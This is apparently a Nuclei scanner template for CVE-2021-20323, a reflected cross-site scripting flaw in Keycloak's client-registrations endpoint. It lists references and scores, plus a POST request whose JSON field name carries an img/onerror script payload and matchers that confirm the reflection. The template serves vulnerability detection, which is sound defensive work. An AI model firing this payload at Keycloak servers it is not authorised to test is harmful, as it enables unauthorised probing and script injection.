id: CVE-2021-20323

info:
  name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
  author: ndmalc
  severity: medium
  description: |
    Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
    - https://access.redhat.com/security/cve/CVE-2021-20323
    - https://github.com/ndmalc/CVE-2021-20323
    - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20323
    cwe-id: CWE-79
    epss-score: 0.0018
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    shodan-query: html:"Keycloak"
    verified: true
    vendor: redhat
    product: keycloak
  tags: cve,cve2021,keycloak,xss

http:
  - method: POST
    path:
      - "{{BaseURL}}/auth/realms/master/clients-registrations/default"
      - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
      - "{{BaseURL}}/realms/master/clients-registrations/default"
      - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"

    body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
    stop-at-first-match: true

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 400